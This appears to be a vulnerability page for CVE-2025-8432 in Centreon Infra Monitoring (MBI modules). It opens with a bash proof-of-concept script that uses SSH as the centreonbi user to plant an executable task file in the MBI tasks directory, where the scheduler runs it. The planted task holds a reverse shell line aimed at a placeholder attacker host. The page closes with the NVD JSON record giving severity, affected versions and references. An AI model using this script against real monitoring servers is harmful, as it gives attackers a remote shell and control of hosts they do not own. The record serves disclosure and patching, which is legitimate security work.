CVE-2025-8432

#!/bin/bash # CVE-2025-8432 PoC - Centreon MBI Script Injection via Incorrect Default Permissions # This PoC demonstrates the vulnerability in CentreonBI user account TARGET_HOST="<target-centreon-mbi-server>" CENTREONBI_USER="centreonbi" MALICIOUS_SCRIPT="/opt/centreon-bi/var/lib/centreonBI/tasks/malicious_task.sh" # Step 1: Verify CentreonBI user has write permissions to MBI task directories echo "[*] Checking write permissions on MBI task directories..." ssh $CENTREONBI_USER@$TARGET_HOST "ls -la /opt/centreon-bi/var/lib/centreonBI/tasks/" # Step 2: Create malicious script in MBI tasks directory echo "[*] Injecting malicious script..." MALICIOUS_CODE='#!/bin/bash echo "[+] Malicious code executed with CentreonBI privileges" >> /tmp/pwned.log # Add reverse shell or other malicious operations here /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1' ssh $CENTREONBI_USER@$TARGET_HOST "cat > $MALICIOUS_SCRIPT << 'EOF' $MALICIOUS_CODE EOF chmod +x $MALICIOUS_SCRIPT" # Step 3: Wait for MBI scheduler to execute the script echo "[*] Waiting for MBI scheduler execution (may take several minutes)..." echo "[*] Check /tmp/pwned.log on target for successful exploitation" # Note: This PoC requires valid CentreonBI credentials and assumes default vulnerable permissions

{"cve": {"id": "CVE-2025-8432", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-27T10:15:39.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Default Permissions vulnerability in Centreon Infra Monitoring (MBI modules) allows Embedding Scripts within Scripts by CentreonBI user account on the MBI server This issue affects Infra Monitoring: from 24.10.0 before 24.10.6, from 24.04.0 before 24.04.9, from 23.10.0 before 23.10.15."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7"}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-8432-centreon-mbi-high-severity-5180", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7"}]}}